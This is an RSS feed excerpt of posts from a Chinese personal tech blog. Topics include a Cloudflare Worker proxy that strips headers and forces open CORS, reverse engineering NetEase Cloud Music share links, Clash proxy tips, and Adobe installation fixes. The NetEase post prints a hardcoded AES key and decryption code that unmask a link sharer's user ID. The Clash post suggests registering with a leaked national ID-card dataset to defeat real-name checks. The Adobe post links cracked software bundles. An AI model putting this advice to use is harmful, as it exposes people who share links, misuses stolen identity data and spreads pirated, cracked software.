&lt;blockquote&gt;
&lt;p&gt;具体来说，Cloudflare 的 fetch API 会自动且强制地在所有出站请求中加入一些无法被过滤掉的 CF-* 请求头，例如：&lt;/p&gt;
&lt;p&gt;cf-connecting-ip：暴露发起请求用户的真实 IP 地址。&lt;/p&gt;
&lt;p&gt;cf-ipcountry：暴露用户所在的国家/地区。&lt;/p&gt;
&lt;p&gt;cf-worker：明确标识该请求经过了 Cloudflare Workers&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;应该是是动了这些手脚被防火墙检测后拦截了，所以需要找到办法去掉这些头，而恰巧这里用 CF 的&lt;code&gt;socket&lt;/code&gt; api 就能自由的去发送 HTTP 请求，同时绕过系统的一些拦截限制，差不多就是个越狱版&lt;/p&gt;
&lt;p&gt;因为原本的脚本不具备绕过 CORS 的能力，故需要手动修改请求头&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class ShadowProxy {
  static async handleRequest(req, env, ctx) {
    try {
      // ... 原有代码

      // 复刻请求头
      const req2 = new Request(req.url, {
        headers: req.headers,
        method: req.method,
        body: req.body,
        redirect: &quot;follow&quot;,
      });

      // 处理特殊头部规则
      const specialCases = {
        &quot;*&quot;: {
          Origin: &quot;DELETE&quot;,
          Referer: &quot;DELETE&quot;,
        },
      };

      const rules = specialCases[url.hostname] || specialCases[&quot;*&quot;];
      for (const [key, value] of Object.entries(rules)) {
        if (value === &quot;DELETE&quot;) {
          req2.headers.delete(key);
        } else if (value !== &quot;KEEP&quot;) {
          req2.headers.set(key, value);
        }
      }

      const response = await proxy.connect(req2, dstUrl);

      // 强制允许跨域
      const modifiedResponse = new Response(response.body, response);
      modifiedResponse.headers.set(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;);
      return modifiedResponse;
    } catch (error) {
      console.error(&quot;ShadowProxy error:&quot;, error);
      return new Response(`Error: ${error.message}`, { status: 500 });
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warn
听说 CF 最近打反代，评论区有人被封了，想账号不被封的话可以先等等
:::&lt;/p&gt;
&lt;h2&gt;实装&lt;/h2&gt;
&lt;p&gt;编辑好脚本部署后，接下来就是调用 API 了&lt;/p&gt;
&lt;p&gt;调用十分的简单，域名+link（）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// mid是你的用户id
// keywords这东西本来是给你找视频用的你却用来查最新视频x
// ps是获取个数
const URL =
  &quot;https://&amp;lt;你的域名&amp;gt;/your-auth-token/https://api.bilibili.com/x/series/recArchivesByKeywords?mid=0174927495&amp;amp;keywords=&amp;amp;ps=6&quot;;
const resp = await fetch(URL);
const data = await resp.json();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
返回 B 站图片&lt;code&gt;http://i***.hdslb.com/&lt;/code&gt;也有跨域问题，所以客户端请求图片的时候也要处理链接
:::&lt;/p&gt;
&lt;p&gt;:::tip
对于不想看的可以直接抄（）&lt;/p&gt;
&lt;p&gt;首页的实现能在&lt;a href=&quot;https://github.com/hexadecimal233/homepage-new/blob/master/app/components/home/BiliVideo.vue&quot;&gt;BiliVideo.vue&lt;/a&gt;找到啦
:::&lt;/p&gt;
&lt;p&gt;本人在 API 这边还是作过限制了，限制了其他协议的访问和允许链接，所以过来偷跑主播流量的就别想了（&lt;/p&gt;
&lt;p&gt;btw 今天也给自己主页写了自动获取 github readme skillicon 的功能&lt;/p&gt;
&lt;p&gt;说实话没用的小玩意又增加了（主页这东西摆在那没人看还做甚&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;什么？绿联 NAS 调教教程呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先别急，在写（）&lt;/p&gt;
</content:encoded></item><item><title>换新博客框架了</title><link>https://blog.nichijou.moe/posts/new-blog/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/new-blog/</guid><pubDate>Thu, 14 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在访问了不少的博客站点后，也是觉得安知鱼主题烂大街了，功能多了也许就背离初心了&lt;/p&gt;
&lt;p&gt;现在换了个比较简洁的主题 &lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;Fuwari&lt;/a&gt;，配色和动画真的特别舒服，虽然有些过于简洁了，像不支持多级分类（&amp;lt;--这东西已经有 PR 了），评论等功能，自己自定义一下还是能玩的很花的。&lt;/p&gt;
&lt;p&gt;换了个主题顺便接触了一下 Astro，还算是个不错的模板语言，构建起来比我的首页快多了（因为没有服务器请求方面需求我为什么还要用 nuxt&lt;/p&gt;
&lt;p&gt;大概是 Vue 用的顺手了吧，换成 React/Nextjs 我也可能会有这种抗拒的心理（有种说法，这种表现也可能是因为已经老了吧 😭）&lt;/p&gt;
</content:encoded></item><item><title>绿联NAS调教记</title><link>https://blog.nichijou.moe/posts/ugreen-nas-tweak/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/ugreen-nas-tweak/</guid><pubDate>Wed, 13 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;前几天入了一台绿联的 DXP4800（别问我为啥没买 PLUS），顺便整了一块西数的 8T 数据盘当作云盘，又把吃灰机上的 512G 970 EVO PLUS 当作了系统盘&lt;/p&gt;
&lt;p&gt;Update 2025-11-22:&lt;/p&gt;
&lt;p&gt;本文估计无期限咕咕下去了&lt;/p&gt;
</content:encoded></item><item><title>某云神秘的追踪参数</title><link>https://blog.nichijou.moe/posts/old/cloudmusic-link/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/cloudmusic-link/</guid><pubDate>Fri, 31 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;逆向复健一下&lt;/p&gt;
&lt;p&gt;之前发现网易云的分享参数里有名为&lt;code&gt;userid=xxxxxxx&lt;/code&gt;的参数，里面是分享者的用户 ID，但在某一次更新后取而代之的是&lt;code&gt;uct2=xxxxx&lt;/code&gt;，像是加密的样子：&lt;/p&gt;
&lt;p&gt;PC 端：&lt;a href=&quot;https://music.163.com/playlist?id=8416733444&amp;amp;uct2=U2FsdGVkX18I0qiX738+CD1FdOh+w/CByAqGXtw/rt8=&quot;&gt;https://music.163.com/playlist?id=8416733444&amp;amp;uct2=U2FsdGVkX18I0qiX738+CD1FdOh+w/CByAqGXtw/rt8=&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;手机端： &lt;a href=&quot;http://163cn.tv/ByX1EOw&quot;&gt;http://163cn.tv/ByX1EOw&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;虽然网上已经有现成的工具：&lt;a href=&quot;https://findsomebody.nclgclub.com/start&quot;&gt;找到 TA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但因为其并未公布算法，也可能存在数据安全的问题，就想自己动手造一个平替（）&lt;/p&gt;
&lt;p&gt;两者都是链接，但其加密算法不同，因此可以通过 uct2 的不同特征来确定对方的分享平台和用户 ID，下面将分别解析一下两端的 uct2 算法：&lt;/p&gt;
&lt;h2&gt;手机端&lt;/h2&gt;
&lt;p&gt;手机端有时复制出来的是短链（&lt;a href=&quot;http://163cn.tv/&quot;&gt;http://163cn.tv/&lt;/a&gt;，会跳转，包含其他跟踪参数），而电脑端访问会跳转后地址栏闪过 uct2 后继续跳到没有 uct2 的网站，这里通过 curl 获取跳转目标：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl -v http://163cn.tv/ByX1EOw
* Host 163cn.tv:80 was resolved.
* IPv6: (none)
* IPv4: 198.18.1.58
* Trying 198.18.1.58:80...
* Connected to 163cn.tv (198.18.1.58) port 80
* using HTTP/1.x
&amp;gt; GET /ByX1EOw HTTP/1.1
&amp;gt; Host: 163cn.tv
&amp;gt; User-Agent: curl/8.10.1
&amp;gt; Accept: */*
&amp;gt;
* Request completely sent off
&amp;lt; HTTP/1.1 302
&amp;lt; Server: nginx
&amp;lt; Date: Fri, 31 Jan 2025 07:58:59 GMT
&amp;lt; Content-Length: 0
&amp;lt; Connection: keep-alive
&amp;lt; Cache-Control: no-store
&amp;lt; Pragrma: no-cache
&amp;lt; Expires: Thu, 01 Jan 1970 00:00:00 GMT
&amp;lt; Cache-Control: no-cache
&amp;lt; X-Application-Context: application:8888
&amp;lt; Location: https://y.music.163.com/m/song?id=2668595321&amp;amp;uct2=%2BhNMiP%2FRMJxgbE5ka%2FgRkw%3D%3D&amp;amp;fx-wechatnew=t1&amp;amp;fx-wxqd=c&amp;amp;fx-wordtest=t3&amp;amp;fx-listentest=t3&amp;amp;H5_DownloadVIPGift=&amp;amp;playerUIModeId=5623502&amp;amp;PlayerStyles_SynchronousSharing=t3&amp;amp;dlt=0846&amp;amp;app_version=9.2.45&amp;amp;sc=wm&amp;amp;tn=
&amp;lt; X-From-Src: 114.93.71.49
&amp;lt;
* Connection #0 to host 163cn.tv left intact
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Location&lt;/strong&gt;里的 uct2 就是我们要找的东西。&lt;/p&gt;
&lt;p&gt;首先通过 Jadx（类似工具有 ReCaf 等）反编译网易云音乐客户端通过搜索 uct2 得到相关代码（部分代码已删除）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   public static final void o(Context context, Program program, String platform, Function1&amp;lt;? super com.netease.cloudmusic.share.framework.e, Unit&amp;gt; callback) {
        String string;
        com.netease.cloudmusic.share.framework.e eVar = new com.netease.cloudmusic.share.framework.e();
        eVar.f120920a = String.valueOf(program.getId());
        eVar.f120922d = context.getString(ir1.j.f228957m3, program.getName());
        eVar.f120924f = (!program.needShowFeeTag() || TextUtils.isEmpty(program.getReason())) ? program.getBrand() : program.getReason();
        eVar.f120928j = program.getCoverUrl();
        eVar.f120921b = 1;
        eVar.f120937t = 3;
        eVar.f120934q = program;
        long u15 = ap.a.m().u(); // 返回用户ID
        String b15 = com.netease.cloudmusic.utils.d.INSTANCE.b(j() /* 生成加密密钥 */, String.valueOf(u15)); // 生成加密的用户ID b15
        if (b15 == null) {
        // 生成出错的话就 fallback 到原本的 userid ，机制不清
            string = Intrinsics.areEqual(platform, &quot;sina&quot;) ? ApplicationWrapper.getInstance().getString(ir1.j.f228886a4, dp.f124165c, 17, Long.valueOf(program.getId()), Long.valueOf(u15), 0) : ((ILinkConfig) ServiceFacade.get(ILinkConfig.class)).urlStringForKey(&quot;program_share&quot;, &quot;id&quot;, String.valueOf(program.getId()), &quot;userid&quot;, String.valueOf(u15), &quot;djId&quot;, String.valueOf(program.getDj().getUserId()));
        } else {
            string = Intrinsics.areEqual(platform, &quot;sina&quot;) ? ApplicationWrapper.getInstance().getString(ir1.j.f228930i0, dp.f124165c, 17, Long.valueOf(program.getId()), URLEncoder.encode(b15, Charsets.UTF_8.name()), 0) : ((ILinkConfig) ServiceFacade.get(ILinkConfig.class)).urlStringForKey(&quot;program_share&quot;, &quot;id&quot;, String.valueOf(program.getId()), &quot;uct2&quot;, b15, &quot;djId&quot;, String.valueOf(program.getDj().getUserId()));
            //将uct2作为分享链接的参数使用 (uct2=xxxxxx)
        }
        if (Intrinsics.areEqual(platform, &quot;sina&quot;)) {
            eVar.f120924f = ApplicationWrapper.getInstance().getString(ir1.j.W3) + &quot; &quot; + string + &quot; &quot; + ApplicationWrapper.getInstance().getString(ir1.j.f228917g);
        }
        eVar.f120933p = string;
        eVar.f120929l = string;
        eVar.f120930m = com.netease.cloudmusic.module.spread.e.f(program.getMainSong().getId());
        if (!Intrinsics.areEqual(platform, &quot;sina&quot;)) {
            String b16 = kp.b(NeteaseMusicApplication.getInstance());
            eVar.f120933p = eVar.f120933p + &quot;&amp;amp;app_version=&quot; + b16;
            eVar.f120929l = eVar.f120929l + &quot;&amp;amp;app_version=&quot; + b16;
        } else if (!com.netease.cloudmusic.share.framework.j.f120943a.c()) {
            eVar.f120926h = &quot;&quot;;
            eVar.f120928j = &quot;&quot;;
        }
        eVar.f120926h = &quot;&quot;;
        callback.invoke(eVar);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;占掉我 30 多 G 内存，加上原本就已经红了的 D 盘里还要塞个分页文件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;看到是 b15 赋值给了 uct2 ，u15 是咱的用户 id，所以就应该有办法从 uct2 转成原本的 id，先看加密部分，反编译得到 b 函数内部（代码经过处理）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private final String encode(byte[] data) {
    return Base64.encodeToString(data, 2);
}

// 加密函数，AES/ECB算法
public final String b(String secretKey, String data) {
    try {
        byte[] bytes = secretKey.getBytes(Charsets.UTF_8);
        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, &quot;AES&quot;);
        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
        cipher.init(1, secretKeySpec);
        byte[] bytes2 = data.getBytes(Charsets.UTF_8);
        byte[] doFinal = cipher.doFinal(bytes2);
        return encode(doFinal);
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关于加密密钥的是 j 函数，其被调用时返回一个静态单例 Lazy 对象，内部存储的是加密的字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static final Lazy f298165f = LazyKt__LazyJVMKt.lazy(a.f298166a);

// KT生成的嵌套类
static final class a extends Lambda implements Function0&amp;lt;String&amp;gt; {
    public static final a f298166a = new a();
    a() {
        super(0);
    }

    @Override
    public final String invoke() {
        return (String) ((ICustomConfig) ServiceFacade.get(ICustomConfig.class)).getAppCustomConfig(&quot;IuRPVVmc3WWul9fT&quot;, &quot;JwDUI7QfKebyIhZwcWAJu1172eV2CgCD&quot;, &quot;share#id_encrypt_key&quot;); // 返回加密的字符串，默认值为JwDUI7QfKebyIhZwcWAJu1172eV2CgCD
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;一开始以为又是什么逆天加密算法，最后发现他们的配置名就是一串 base64 了的随机数&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过&lt;code&gt;/assets/default_custom_config_IuRPVVmc3WWul9fT.json&lt;/code&gt;可以找到这个配置文件里的加密密钥也是&lt;code&gt;JwDUI7QfKebyIhZwcWAJu1172eV2CgCD&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么理论存在，实验开始——&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/202501311608730.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里看到原本的 uct2 已经被成功解出来了~&lt;/p&gt;
&lt;h2&gt;电脑端&lt;/h2&gt;
&lt;p&gt;通过观察电脑端的 uct2，b64 解出来均以&lt;code&gt;Salted__&lt;/code&gt;开头，难不成手机电脑算法不一样？？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PS：Salted__ 是 crypto-js AES 加密加盐的特征
本来想着还要碰反汇编，现在一点也不用（本人反汇编水平不咋）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下面通过 BetterNCM 打开控制台并搜索&lt;code&gt;share#id_encrypt_key&lt;/code&gt;、&lt;code&gt;uct2&lt;/code&gt;等字段，发现他们工程师直接把代码放在&lt;code&gt;orpheus://orpheus/pub/hybrid/app~subApp.chunk.601020.js&lt;/code&gt;里边了，这边放上核心加密代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function share(e, t) {
  let { payload: n } = e,
    { select: i, call: o } = t;
  return (function* () {
    const {
        platform: e,
        type: t,
        title: a = &quot;分享&quot;,
        id: s = 0,
        data: u,
        threadId: p,
      } = n,
      f = yield i((e) =&amp;gt; e.host),
      v = y.a.configFromRequest$.getValue(),
      m =
        (null === v || void 0 === v ? void 0 : v[&quot;share#id_encrypt_key&quot;]) || &quot;&quot;, // 也是从配置文件里获取加密密钥，获取到的也是JwDUI7QfKebyIhZwcWAJu1172eV2CgCD
      b = f.uid || &quot;&quot;, // 用户ID
      g = m &amp;amp;&amp;amp; b ? d.a.encrypt(b, m, { mode: h.a }).toString() : b, // 加密用户ID，否则fallback
      Q = {
        [k.b.playlist]: &quot;playlist&quot;,
        [k.b.audio]: &quot;djradio&quot;,
        [k.b.album]: &quot;album&quot;,
        [k.b.mv]: &quot;mv&quot;,
        [k.b.user]: &quot;user&quot;,
        [k.b.artist]: &quot;artist&quot;,
        [k.b.article]: &quot;topic&quot;,
        [k.b.video]: &quot;video&quot;,
        [k.b.voice]: &quot;dj&quot;,
        [k.b.track]: &quot;song&quot;,
        [k.b.topic]: &quot;activity&quot;,
      }; // 分享类型 // 生成分享链接
    let O = &quot;&quot;;
    (O =
      g !== b
        ? &quot;https://music.163.com/&quot;
            .concat(Q[t], &quot;?id=&quot;)
            .concat(s, &quot;&amp;amp;uct2=&quot;)
            .concat(g)
        : &quot;https://music.163.com/&quot;
            .concat(Q[t], &quot;?id=&quot;)
            .concat(s, &quot;&amp;amp;userid=&quot;)
            .concat(g)), //fallback
      e;
    return !0;
  })();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到流程与安卓端差不多，but 加密算法有点不一样！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/202501311932536.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过动态分析在 encrypt 处下断点发现加密函数这里的 d 和 h 就是 CryptoJS 的实例，整理后加密算法是这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CryptoJS.AES.encrypt(userID, key, { mode: CryptoJS.mode.ECB }).toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相应的就能推出解密算法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实正常走流程的话要走 webpack 的老路，这边直接拿 CryptoJS 上了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;CryptoJS.AES.decrypt(encryptedID, key, { mode: CryptoJS.mode.ECB }).toString(
  CryptoJS.enc.Utf8
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;某云两端加密算法不一样有点想笑，但这可能是检测的某种手段（？）
而且发现了有关 config 云控的一些字段，会不会有那种情况的可能？&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;这种跟踪参数搞对称加密确实比较容易破，双端用的都是解释型语言，对技术的门槛确实比较低，希望大家新的一年天天被视奸手撕加密算法疯狂 deobf 万事如意！！！！&lt;/p&gt;
</content:encoded></item><item><title>PDM和Pylint补全的一些问题解决</title><link>https://blog.nichijou.moe/posts/old/pylint-pdm-errors/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/pylint-pdm-errors/</guid><pubDate>Mon, 09 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;今天玩 PDM 安装 Fluent Widgets 时遇到了一个问题，发现所有装的 import 全部不识别，连自己这个项目里的源文件也不认，但 ctrl+左键却又能看见模块的原文件...&lt;/p&gt;
&lt;h2&gt;正文&lt;/h2&gt;
&lt;p&gt;我先是尝试在&lt;code&gt;.vscode/settings.json&lt;/code&gt;里改 pylint 的 cwd，结果项目里的源文件认到了，但 import 还是不认...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;pylint.cwd&quot;: &quot;${workspaceFolder}/src&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;其实我还问了群 u 们，发现他们也没能幸免（&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;自己摸索后继续改 pylint 的设置，发现改解释器的路径后就不再报错了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;pylint.interpreter&quot;: &quot;${workspaceFolder}/.venv/Scripts/python.exe&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但这对用别的 IDE 的人很不友好&lt;/p&gt;
&lt;p&gt;所以我用万能的搜索引擎发现了通用的解决方案：&lt;a href=&quot;https://vi.stackexchange.com/questions/45737/pylint-unable-to-find-imports-from-currently-active-virtual-environment&quot;&gt;https://vi.stackexchange.com/questions/45737/pylint-unable-to-find-imports-from-currently-active-virtual-environment&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;因为没时间去判断这是 bug 还是 intended behavior，所以不敢去官方 repo 那提 issue（&lt;/p&gt;
</content:encoded></item><item><title>更换了博客主题</title><link>https://blog.nichijou.moe/posts/old/blog-theme/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/blog-theme/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;感觉还是鱼佬的主题更符合我那看啥都觉得不行的审美（这算选择困难症又犯了吗）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.anheyu.com/initall.html&quot;&gt;安知鱼主题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Update 2025-08-03:
又换 Fuwari 了，臃肿不是什么好事啊喂&lt;/p&gt;
</content:encoded></item><item><title>【经验分享】在Clash内直连UDP（玩联机必会）</title><link>https://blog.nichijou.moe/posts/old/clash-udp-fail/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/clash-udp-fail/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. 起因&lt;/h2&gt;
&lt;p&gt;昨日晚某人在打开 VRC 的时候之前发现无法连上 VRC 的服务器（之前其实没准备做其实因为没被墙），随即打开浏览器一顿操作后学会了写 Clash 的配置（虽然只是接触了一点皮毛&lt;/p&gt;
&lt;h2&gt;2. 解决&lt;/h2&gt;
&lt;p&gt;因为之前用 Clash 的时候一直都没注意过 Clash 配置是咋回事，就当加了个全局代理的 V2RayN 用 =w=&lt;/p&gt;
&lt;p&gt;首先要会导入订阅，这就不多说了吧（&lt;/p&gt;
&lt;p&gt;再确保你用的是全局代理模式（TUN），仅 HTTP 的话 Clash 碰都碰不到 UDP 的流量&lt;/p&gt;
&lt;p&gt;好的，简单来说，咱们只需要把 UDP 给禁用掉就行了（我机场 UDP 连不通）
先找一个订阅转换工具（这里用的是&lt;a href=&quot;https://acl4ssr-sub.github.io/&quot;&gt;ACL4SSR&lt;/a&gt;，不了解有没有风险啥的）&lt;/p&gt;
&lt;p&gt;接着打开进阶模式，在更多选项里把启用 UDP 给他勾去掉，这样 UDP 流量就会走直连啦~&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://postimg.cc/N5Q2j7Rz&quot;&gt;&lt;img src=&quot;https://i.postimg.cc/kXbQwTGq/thorium-D65-Ba-S2-HEr.png&quot; alt=&quot;thorium-D65-Ba-S2-HEr.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;3. 结语&lt;/h2&gt;
&lt;p&gt;这没什么技术含量，希望这篇文章能帮到大家，不在配置代理上浪费过多时间 ヾ(≧▽≦*)o&lt;/p&gt;
&lt;h2&gt;更新：24/07/12&lt;/h2&gt;
&lt;p&gt;现在已经用上 Biubiu 加速器了 &lt;a href=&quot;https://www.biubiu001.com/&quot;&gt;https://www.biubiu001.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;纯粹看广告刷时长&lt;/p&gt;
&lt;p&gt;用那个 24 亿身份证可以注册&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实&lt;strong&gt;大多数&lt;/strong&gt;游戏的实名都是虚晃一枪，输一个就给过了，根本不查&lt;/p&gt;
&lt;p&gt;有人说网易要扫脸，还是我朋友告诉我不用扫脸的，那些人都天天在那乱扯&lt;/p&gt;
&lt;p&gt;如果还是觉得有风险的就别用吧&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>达芬奇Davinci Resolve崩溃</title><link>https://blog.nichijou.moe/posts/old/davinci-crash/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/davinci-crash/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;你们装达芬奇的时候是不是把安装界面的勾都打上了，最后启动的时候发现会崩？&lt;/p&gt;
&lt;p&gt;阅读日志无果后，继而转向互联网求助（）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://forum.m.blackmagicdesign.com/viewtopic.php?f=21&amp;amp;t=193917&quot;&gt;官方解答&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决&lt;/strong&gt;：官方的锅 ，&lt;strong&gt;Control Panel&lt;/strong&gt; 会导致 Resolve 在启动的某个阶段 crash，然而这 Bug 居然是三年前的了！！现在还没修！&lt;/p&gt;
&lt;p&gt;（btw 再吐槽一下达芬奇每次启动都会进行强制扫描 VST 的行为）&lt;/p&gt;
&lt;p&gt;Update 2025-08-03:
新版貌似不崩了，应该能不删了（&lt;/p&gt;
</content:encoded></item><item><title>Adobe2024全家桶(转载) + AE报错打不开解决方案</title><link>https://blog.nichijou.moe/posts/old/adobe-2024-ae/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/adobe-2024-ae/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;下载地址&lt;/h2&gt;
&lt;p&gt;Adobe 软件大全（包含 Win 系统和 Mac 系统各版本各软件，2015-2024 版本）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.aliyundrive.com/s/q4svdbBj7Bx&quot;&gt;阿里云盘&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pan.baidu.com/s/1BvQv8c_m4uIJAJMuHPSODQ?pwd=2024&quot;&gt;百度网盘 提取码：2024&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择需要的软件，根据自己的电脑配置选择版本。&lt;/p&gt;
&lt;h2&gt;避坑&lt;/h2&gt;
&lt;p&gt;不知道为什么下载下来的一键安装包解压会报错（用 alist 下载的），就装了 CC 版的，装完到了装 AE 的时候，用破解工具破解好，结果打开的时候弹错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;After Effects can&apos;t continue: Licensing Error.
Your subscription entitles you to Chinese Simplified product versions.
Please verify the language settings in your OS browser, and software download are set to Chinese Simplified.
If you continue to have installation issues, please contact support.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查一下，发现网上有好多和我一样报错的的，不知道为什么 PS 破解完就没报错，接下来说一下自己的解决方案（暂且没有更好的）&lt;/p&gt;
&lt;p&gt;先打开区域与时间，非 Unicode 程序的语言把 UTF8 文打了勾的话会导致你开屏弹错，把勾取消掉，重启就行了&lt;/p&gt;
&lt;p&gt;分析下来，你只要你 codepage 不是 936，而且装的还是中文的全家桶，不出意外你就打不开&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;个人评价：&lt;/strong&gt;
Adobe 你这防盗版防的有点太那啥了吧？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;本文转自：&lt;a href=&quot;https://mp.weixin.qq.com/s/sH_lM3h7teYVYK_pJ9yJRA&quot;&gt;https://mp.weixin.qq.com/s/sH_lM3h7teYVYK_pJ9yJRA&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;金秋十月，Adobe 2024 如约而至！&lt;/p&gt;
&lt;p&gt;想必有很多网友都已经安装体验了，在前面已经分享了通过创意云工具在线下载安装方法和离线安装包激活安装方法，而&lt;strong&gt;这一期再带来一键安装版&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;影视后期系统教学&lt;/p&gt;
&lt;p&gt;自@vposy 宣布暂停之后（注：&lt;strong&gt;微博才是@vposy 本人，其余平台打着 vposy 名号，均是冒牌货&lt;/strong&gt;），很多网友还是很怀念@vposy 版本，@vposy 版本区别于其它版就是在于一键安装。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiag5U3t5zLSbwVNQgprPnPXcyBxyENcib3CeYp7AA2ZIRfV1RbibsEzhR7A/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一键安装：即内置了安装激活补丁，安装即激活的，不需要再手动去替换补丁。&lt;/p&gt;
&lt;p&gt;此次更新一键安装版是来自俄罗斯老毛子 monkrus 大神，更新包括了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adobe After Effects 2024 v24.0.0.55&lt;/li&gt;
&lt;li&gt;Adobe Premiere Pr 2024 v24.0.0.58&lt;/li&gt;
&lt;li&gt;Adobe Animate 2024 v24.0.0.305&lt;/li&gt;
&lt;li&gt;Adobe Audition 2024 v24.0.0.46&lt;/li&gt;
&lt;li&gt;Adobe Media Encoder 2024 v24.0.0.54&lt;/li&gt;
&lt;li&gt;Adobe Illustrator 2024 v28.0.0.88&lt;/li&gt;
&lt;li&gt;Adobe InCopy 2024 v19.0&lt;/li&gt;
&lt;li&gt;Adobe InDesign 2024 v19.0&lt;/li&gt;
&lt;li&gt;Adobe Photoshop LightroomV Classic 2024 v13.0.0.15&lt;/li&gt;
&lt;li&gt;Adobe Bridge 2024 v14.0.0.12&lt;/li&gt;
&lt;li&gt;Adobe Photoshop 2024 v25.0.0.37&lt;/li&gt;
&lt;/ul&gt;
